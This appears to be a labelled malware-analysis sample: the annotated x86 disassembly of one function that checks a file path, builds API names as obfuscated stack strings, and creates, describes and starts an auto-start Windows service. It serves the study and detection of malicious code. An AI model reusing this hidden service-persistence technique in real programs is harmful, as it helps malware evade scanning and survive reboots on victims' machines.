Function at 0x10004f35
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Modify service

Disassembly:
sub esp, 0x460
mov eax, dword [0x100bb2a8]
xor eax, esp
mov dword [esp + 0x45c], eax
mov eax, dword [esp + 0x470]
push ebx
mov dword [0x100bd1a4], eax
xor ebx, ebx
mov eax, dword [esp + 0x46c]
push 0x400
mov dword [0x100bd9ac], eax
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.1005cd30
add esp, 0xc
lea ecx, [esp + 0x60]
call fcn.10002184
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000519d
call fcn.10001e63
push eax
lea ecx, [esp + 0xc]
call fcn.10007eec
lea eax, [esp + 0x60]
mov dword [esp + 0x54], 0x76726573
push eax
lea eax, [esp + 0x54]
mov dword [esp + 0x5c], 0x656369
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x58], 0x2d207325
push eax
call fcn.100096bf
add esp, 0xc
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [esp + 8]
call fcn.10006677
mov eax, dword [esp + 4]
cmp dword [eax - 4], 1
jle 0x10005000
push dword [eax - 0xc]
lea ecx, [esp + 8]
call fcn.10007f38
mov eax, dword [esp + 4]
push ebp
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
push ecx
lea ecx, [esp + 0x10]
call fcn.10006851
mov ecx, dword [esp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.10008de6
push 2
push ebx
push ebx
lea esi, [eax + 0x10]
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
jne 0x1000505b
lea ecx, [esi - 0x10]
call fcn.10001e00
mov ecx, dword [esp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.10001e00
mov ecx, dword [esp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.10001e00
jmp 0x1000519b
push edi
lea eax, [esp + 0x4c]
mov dword [esp + 0x4f], 0x33697061
push eax
mov dword [esp + 0x57], 0x6c642e32
mov word [esp + 0x50], 0x6441
mov word [esp + 0x5b], 0x6c
mov byte [esp + 0x52], 0x76
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x18], eax
test eax, eax
je 0x10005177
lea ecx, [esp + 0x24]
mov byte [esp + 0x32], bl
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
push eax
mov dword [esp + 0x2c], 0x61657243
mov dword [esp + 0x36], 0x41656369
mov word [esp + 0x31], 0x5365
mov word [esp + 0x34], 0x7672
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x33], 0x65
call ebx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x1c]
mov dword [esp + 0x40], 0x72617453
mov dword [esp + 0x45], 0x76726553
mov word [esp + 0x4c], 0x41
mov word [esp + 0x49], 0x6369
mov byte [esp + 0x4b], 0x65
mov byte [esp + 0x44], 0x74
call ebx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10005177
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push edi
push 1
push 2
push 0x10
push 0xf01ff
push esi
push dword [esp + 0x3c]
push ebp
call eax
mov ebx, eax
test ebx, ebx
je 0x10005177
cmp dword [esi - 4], 1
jle 0x1000514e
push dword [esi - 0xc]
lea ecx, [esp + 0x20]
call fcn.10007f38
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x18]
mov dword [esp + 0x18], esi
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push 0
push 0
push ebx
call dword [esp + 0x2c]
mov ecx, ebx
call fcn.10004eda
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [esi - 0x10]
call fcn.10001e00
mov ecx, dword [esp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.10001e00
lea ecx, [edi - 0x10]
call fcn.10001e00
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x460]
pop ebx
xor ecx, esp
call fcn.1005a19b
add esp, 0x460
ret